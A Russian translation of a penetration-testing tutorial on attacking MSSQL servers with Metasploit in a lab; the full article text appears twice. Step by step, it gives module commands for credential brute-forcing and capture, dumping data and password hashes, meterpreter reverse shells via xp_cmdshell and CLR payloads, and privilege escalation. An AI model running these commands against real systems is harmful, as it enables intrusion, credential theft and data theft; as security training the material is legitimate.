В этой статье мы подробно узнаем, как тестировать серверы MSSQL на проникновение с помощью фреймворка Metasploit.
Введение
Metasploit - отличный фреймворк, разработанный Х. Д. Муром. Это бесплатный и легкий инструмент для тестирования на проникновение. Он имеет открытый исходный код, кроссплатформенность и имеет ряд функций. Его популярность основана в первую очередь на том, что это мощный инструмент для проверки безопасности. У него также есть много функций, которые могут помочь людям защитить себя. Лично я предпочитаю использовать этот инструмент для пентеста, поскольку он инкапсулирует эксплойты, которые могут когда-либо понадобиться пентестеру. В этой статье мы узнаем, как использовать Metasploit для эксплуатации MSSQL. Поэтому мы рассмотрим каждый эксплойт, который может предложить Metasploit, шаг за шагом, от поиска сервера MSSQL в сети до получения конфиденциальной информации из базы данных и получения контроля. Без лишних слов, давайте уже начнем.
Сбор информации и разведка
Поиск сервера MSSQL
При тестировании серверов MSSQL, будь то удаленно или локально, наше первое требование - найти сервер в сети. А для этого мы воспользуемся в Metasploit следующим эксплойтом:
use auxiliary/scanner/mssql/mssql_ping
set rhosts 192.168.1.1/24
exploit
Взлом паролей
Мы нашли сервер, поэтому нашим следующим шагом будет получение учетных данных сервера. Для этого мы проведем словарную атаку с помощью следующего эксплойта:
use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.1.3
set user_file /root/users.txt
set verbose false
exploit
И вы можете видеть на картинке выше, у нас есть учетные данные.
Получение версии MSSQL
Также мы можем получить всю информацию о сервере MSSQL и его версии с помощью следующего эксплойта:
use auxiliary/admin/mssql/mssql_sql
set rhosts 192.168.1.3
set username lowprwiv
set password Password@1
exploit
Разведка MSSQL
Давайте теперь проведем разведку сервера и посмотрим, какую информацию мы можем получить. И для этого воспользуемся следующим эксплойтом:
use auxiliary/admin/mssql/mssql_enum
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
В результате вышеупомянутого эксплойта вы можете увидеть, какие разрешения предоставлены базе данных, какие логины доступны с другой полезной информацией. То же самое можно увидеть на картинке выше.
Получение пользователей SQL
Мы также можем найти правильный список входа для всех пользователей на сервере. Metasploit предоставляет нам специальный эксплойт именно для этой задачи. А эксплойт следующий:
use auxiliary/admin/mssql/mssql_enum_sql_login
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
В результате на картинке выше вы можете видеть, что вам будет предоставлен список всех пользователей.
Перехват входа в систему MSSQL
Следующий эксплойт, который мы собираемся использовать — capture/mssql. Этот эксплойт создает поддельный сервер и пытается перехватить аутентифицированные учетные данные с исходного сервера. Чтобы использовать этот эксплойт, введите;
use auxiliary/server/capture/mssql
set srvhost 192.168.1.2
exploit
Теперь, если пользователь, например, пытается войти на сервер, у нас будут учетные данные с помощью следующей команды:
sqsh -S 192.168.1.2 -U sa -P "password@1"
И когда вы проверяете свой Metasploit, вуаля! У вас будут правильные учетные данные для входа на сервер, которые вы также можете увидеть на картинке ниже:
Создание базы данных
Обычно любой MSSQL-сервер, который вы тестируете, будет иметь базу данных. Но поскольку сервер, на котором мы проводим это тестирование на проникновение, является новым, мы также хотели показать настрояку для нашей лабы; поэтому, чтобы наш следующий эксплойт сработал, мы будем создавать базу данных на нашем сервере. Чтобы создать базу данных, используйте следующую команду:
create database bank;
Поскольку приведенный выше запрос выполняется успешно, нашим следующим шагом будет ввести следующий запрос:
CREATE TABLE Customers (
CustomerID int,
LastName varchar(255),
FirstName varchar(255),
passw varchar(255),
creditcard varchar(255)
);
Итак, как вы можете видеть на картинке выше, наша таблица создана. Теперь давайте добавим данные в нашу таблицу с помощью следующего запроса:
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('01', 'Technologies','Ignite', 'admin123', '1111-2222-3333-4444');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('02', 'Sharma','Nisha', 'admin1234', '5555-6666-7777-8888');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('03', 'Chandel','Raj', 'admin12345', '9999-1010-1020-1030');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('04', 'Madan','Geet', 'admin12311', '1234-5678-9012-3456');
Таким образом, вы можете создать свою базу данных.
Дамп базы данных
Теперь, когда у нас есть база данных, давайте узнаем, как можно выгрузить содержимое базы данных с помощью Metasploit. К счастью, в Metasploit есть специальный эксплойт, предназначенный для дампа содержимого базы данных. И чтобы использовать указанный тип эксплойта введите следующее:
use auxiliary/admin/mssql/mssql_findandsampledata
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
set sample_size 4
set keywords FirstName|passw|credit
exploit
Таким образом, использование указанного выше эксплойта даст желаемое содержимое базы данных. Например, данные, которые мы дампили, содержали информацию о сохраненных кредитных картах пользователей.
SchemaDump
Следующий эксплойт, который мы собираемся использовать, дампит схему сервера. А чтобы использовать этот эксплойт, используйте следующий набор команд:
use auxiliary/scanner/mssql/mssql_schemadump
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Итак, с помощью описанного выше эксплойта у нас есть данные с сервера.
Хэшдамп
И последнее, но не менее важное: наш следующий эксплойт используется для дампа хэшей пользователей с сервера. Чтобы использовать этот эксплойт, введите:
use auxiliary/scanner/mssql/mssql_hashdump
set rhosts 192.168.1.149
set username sa
set password Password@1
expoit
Выполнение команд
Xp_cmdshell
Мы нашли MSSQL-сервер в сети, получили учетные данные, выдавали себя за пользователя с более высокими привилегиями. Итак, теперь давайте попробуем получить сеанс meterpreter на сервере, используя xp_cmdshell, используя следующий эксплойт:
use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Как вы можете видеть на картинке выше, эксплойт пытается разрешить xp_cmdshell иметь наш сеанс. Мы написали подробную статью о xp_cmdshell, которую вы можете прочитать ранее. После успешного включения xp_cmdshel у нас будет сеанс meterpreter, как показано на картинке ниже:
MSSQl_exec
Теперь, если мы хотим выполнить команду на сервере, мы можем сделать это удаленно с помощью следующего эксплойта Metasploit:
use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
set cmd "net user"
exploit
И, как вы можете видеть на картинке выше, эксплойт успешно выполнен, и мы получили желаемый результат, то есть список всех пользователей сети.
Другой способ выполнить желаемую команду - сначала записать команду в файл .sql с помощью следующей команды:
cat user.sql
CREATE LOGIN test1 WITH PASSWORD = 'Password@1';
Теперь мы можем использовать этот .sql для удаленного запуска на сервере с помощью следующего эксплойта:
use auxiliary/admin/mssql/mssql_sql_file
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
set sql_file /root/user.sql
exploit
В результате описанный выше эксплойт создаст пользователя с именем test1. Вы можете вручную перейти на сервер и подтвердить создание пользователя, как показано на картинке ниже:
CLR Assembely
Следующий эксплойт поможет воспользоваться преимуществами интеграции со средой CLR. Этот эксплойт обеспечит интеграцию со средой CLR, а также активирует свойство надежной базы данных. После того, как эксплойт предоставит вам сеанс, он восстанавливает все настройки в их первоначальном виде. Чтобы использовать этот эксплойт, введите:
use exploit/windows/mssql/mssql_clr_payload
set payload windows/x64/meterpreter/reverse_tcp
set username lowpriv
set password Password@1
exploit
И, как видите, эксплойт выполнил все шаги для раскрытия нашего потенциала интеграции CLR. И он выдает сеанс meterpreter, как показано на картинке выше.
Повышение привилегий
Теперь, когда у нас есть учетные данные пользователя, мы можем использовать следующие привилегии повышения уровня уязвимости для нашего пользователя. Этот эксплойт будет манипулировать надежным свойством базы данных и предоставить вам все желаемые привилегии. И для этого воспользуемся следующим эксплойтом:
use auxiliary/admin/mssql/mssql_escalate_dbowner
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Примечание: чтобы лучше понять работу этого эксплойта, прочтите нашу другую статью.
Как вы можете видеть выше, мы получили привилегии системного администратора для нашего пользователя.
Имперсонализация
Другой способ получить привилегии - выдать себя за другого пользователя. И в этом нам поможет следующий эксплойт; он позволит нашему пользователю выдавать себя за других пользователей, чтобы получить привилегии системного администратора. Чтобы использовать этот эксплойт, используйте следующий набор команд:
use auxiliary/admin/mssql/mssql_escalate_execute_as
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Теперь, как вы можете видеть на картинке выше, пользователь lowpriv может выдавать себя за пользователя sa. Пользователь sa является членом системного администратора, и с помощью описанного выше эксплойта lowpriv теперь также является системным администратором, так как он олицетворяет пользователя sa.
В общем, Metasploit - один из лучших инструментов для тестирования серверов MSSQL на проникновение, поскольку он предлагает множество эксплойтов и множество способов сделать это.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-metasploit/
Введение
Metasploit - отличный фреймворк, разработанный Х. Д. Муром. Это бесплатный и легкий инструмент для тестирования на проникновение. Он имеет открытый исходный код, кроссплатформенность и имеет ряд функций. Его популярность основана в первую очередь на том, что это мощный инструмент для проверки безопасности. У него также есть много функций, которые могут помочь людям защитить себя. Лично я предпочитаю использовать этот инструмент для пентеста, поскольку он инкапсулирует эксплойты, которые могут когда-либо понадобиться пентестеру. В этой статье мы узнаем, как использовать Metasploit для эксплуатации MSSQL. Поэтому мы рассмотрим каждый эксплойт, который может предложить Metasploit, шаг за шагом, от поиска сервера MSSQL в сети до получения конфиденциальной информации из базы данных и получения контроля. Без лишних слов, давайте уже начнем.
Сбор информации и разведка
Поиск сервера MSSQL
При тестировании серверов MSSQL, будь то удаленно или локально, наше первое требование - найти сервер в сети. А для этого мы воспользуемся в Metasploit следующим эксплойтом:
use auxiliary/scanner/mssql/mssql_ping
set rhosts 192.168.1.1/24
exploit
Взлом паролей
Мы нашли сервер, поэтому нашим следующим шагом будет получение учетных данных сервера. Для этого мы проведем словарную атаку с помощью следующего эксплойта:
use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.1.3
set user_file /root/users.txt
set verbose false
exploit
И вы можете видеть на картинке выше, у нас есть учетные данные.
Получение версии MSSQL
Также мы можем получить всю информацию о сервере MSSQL и его версии с помощью следующего эксплойта:
use auxiliary/admin/mssql/mssql_sql
set rhosts 192.168.1.3
set username lowprwiv
set password Password@1
exploit
Разведка MSSQL
Давайте теперь проведем разведку сервера и посмотрим, какую информацию мы можем получить. И для этого воспользуемся следующим эксплойтом:
use auxiliary/admin/mssql/mssql_enum
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
В результате вышеупомянутого эксплойта вы можете увидеть, какие разрешения предоставлены базе данных, какие логины доступны с другой полезной информацией. То же самое можно увидеть на картинке выше.
Получение пользователей SQL
Мы также можем найти правильный список входа для всех пользователей на сервере. Metasploit предоставляет нам специальный эксплойт именно для этой задачи. А эксплойт следующий:
use auxiliary/admin/mssql/mssql_enum_sql_login
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
В результате на картинке выше вы можете видеть, что вам будет предоставлен список всех пользователей.
Перехват входа в систему MSSQL
Следующий эксплойт, который мы собираемся использовать — capture/mssql. Этот эксплойт создает поддельный сервер и пытается перехватить аутентифицированные учетные данные с исходного сервера. Чтобы использовать этот эксплойт, введите;
use auxiliary/server/capture/mssql
set srvhost 192.168.1.2
exploit
Теперь, если пользователь, например, пытается войти на сервер, у нас будут учетные данные с помощью следующей команды:
sqsh -S 192.168.1.2 -U sa -P "password@1"
И когда вы проверяете свой Metasploit, вуаля! У вас будут правильные учетные данные для входа на сервер, которые вы также можете увидеть на картинке ниже:
Создание базы данных
Обычно любой MSSQL-сервер, который вы тестируете, будет иметь базу данных. Но поскольку сервер, на котором мы проводим это тестирование на проникновение, является новым, мы также хотели показать настрояку для нашей лабы; поэтому, чтобы наш следующий эксплойт сработал, мы будем создавать базу данных на нашем сервере. Чтобы создать базу данных, используйте следующую команду:
create database bank;
Поскольку приведенный выше запрос выполняется успешно, нашим следующим шагом будет ввести следующий запрос:
CREATE TABLE Customers (
CustomerID int,
LastName varchar(255),
FirstName varchar(255),
passw varchar(255),
creditcard varchar(255)
);
Итак, как вы можете видеть на картинке выше, наша таблица создана. Теперь давайте добавим данные в нашу таблицу с помощью следующего запроса:
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('01', 'Technologies','Ignite', 'admin123', '1111-2222-3333-4444');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('02', 'Sharma','Nisha', 'admin1234', '5555-6666-7777-8888');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('03', 'Chandel','Raj', 'admin12345', '9999-1010-1020-1030');
INSERT INTO Customers(CustomerID, LastName, FirstName, passw, creditcard)
VALUES ('04', 'Madan','Geet', 'admin12311', '1234-5678-9012-3456');
Таким образом, вы можете создать свою базу данных.
Дамп базы данных
Теперь, когда у нас есть база данных, давайте узнаем, как можно выгрузить содержимое базы данных с помощью Metasploit. К счастью, в Metasploit есть специальный эксплойт, предназначенный для дампа содержимого базы данных. И чтобы использовать указанный тип эксплойта введите следующее:
use auxiliary/admin/mssql/mssql_findandsampledata
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
set sample_size 4
set keywords FirstName|passw|credit
exploit
Таким образом, использование указанного выше эксплойта даст желаемое содержимое базы данных. Например, данные, которые мы дампили, содержали информацию о сохраненных кредитных картах пользователей.
SchemaDump
Следующий эксплойт, который мы собираемся использовать, дампит схему сервера. А чтобы использовать этот эксплойт, используйте следующий набор команд:
use auxiliary/scanner/mssql/mssql_schemadump
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Итак, с помощью описанного выше эксплойта у нас есть данные с сервера.
Хэшдамп
И последнее, но не менее важное: наш следующий эксплойт используется для дампа хэшей пользователей с сервера. Чтобы использовать этот эксплойт, введите:
use auxiliary/scanner/mssql/mssql_hashdump
set rhosts 192.168.1.149
set username sa
set password Password@1
expoit
Выполнение команд
Xp_cmdshell
Мы нашли MSSQL-сервер в сети, получили учетные данные, выдавали себя за пользователя с более высокими привилегиями. Итак, теперь давайте попробуем получить сеанс meterpreter на сервере, используя xp_cmdshell, используя следующий эксплойт:
use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Как вы можете видеть на картинке выше, эксплойт пытается разрешить xp_cmdshell иметь наш сеанс. Мы написали подробную статью о xp_cmdshell, которую вы можете прочитать ранее. После успешного включения xp_cmdshel у нас будет сеанс meterpreter, как показано на картинке ниже:
MSSQl_exec
Теперь, если мы хотим выполнить команду на сервере, мы можем сделать это удаленно с помощью следующего эксплойта Metasploit:
use auxiliary/admin/mssql/mssql_exec
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
set cmd "net user"
exploit
И, как вы можете видеть на картинке выше, эксплойт успешно выполнен, и мы получили желаемый результат, то есть список всех пользователей сети.
Другой способ выполнить желаемую команду - сначала записать команду в файл .sql с помощью следующей команды:
cat user.sql
CREATE LOGIN test1 WITH PASSWORD = 'Password@1';
Теперь мы можем использовать этот .sql для удаленного запуска на сервере с помощью следующего эксплойта:
use auxiliary/admin/mssql/mssql_sql_file
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
set sql_file /root/user.sql
exploit
В результате описанный выше эксплойт создаст пользователя с именем test1. Вы можете вручную перейти на сервер и подтвердить создание пользователя, как показано на картинке ниже:
CLR Assembely
Следующий эксплойт поможет воспользоваться преимуществами интеграции со средой CLR. Этот эксплойт обеспечит интеграцию со средой CLR, а также активирует свойство надежной базы данных. После того, как эксплойт предоставит вам сеанс, он восстанавливает все настройки в их первоначальном виде. Чтобы использовать этот эксплойт, введите:
use exploit/windows/mssql/mssql_clr_payload
set payload windows/x64/meterpreter/reverse_tcp
set username lowpriv
set password Password@1
exploit
И, как видите, эксплойт выполнил все шаги для раскрытия нашего потенциала интеграции CLR. И он выдает сеанс meterpreter, как показано на картинке выше.
Повышение привилегий
Теперь, когда у нас есть учетные данные пользователя, мы можем использовать следующие привилегии повышения уровня уязвимости для нашего пользователя. Этот эксплойт будет манипулировать надежным свойством базы данных и предоставить вам все желаемые привилегии. И для этого воспользуемся следующим эксплойтом:
use auxiliary/admin/mssql/mssql_escalate_dbowner
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Примечание: чтобы лучше понять работу этого эксплойта, прочтите нашу другую статью.
Как вы можете видеть выше, мы получили привилегии системного администратора для нашего пользователя.
Имперсонализация
Другой способ получить привилегии - выдать себя за другого пользователя. И в этом нам поможет следующий эксплойт; он позволит нашему пользователю выдавать себя за других пользователей, чтобы получить привилегии системного администратора. Чтобы использовать этот эксплойт, используйте следующий набор команд:
use auxiliary/admin/mssql/mssql_escalate_execute_as
set rhosts 192.168.1.3
set username lowpriv
set password Password@1
exploit
Теперь, как вы можете видеть на картинке выше, пользователь lowpriv может выдавать себя за пользователя sa. Пользователь sa является членом системного администратора, и с помощью описанного выше эксплойта lowpriv теперь также является системным администратором, так как он олицетворяет пользователя sa.
В общем, Metasploit - один из лучших инструментов для тестирования серверов MSSQL на проникновение, поскольку он предлагает множество эксплойтов и множество способов сделать это.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/mssql-for-pentester-metasploit/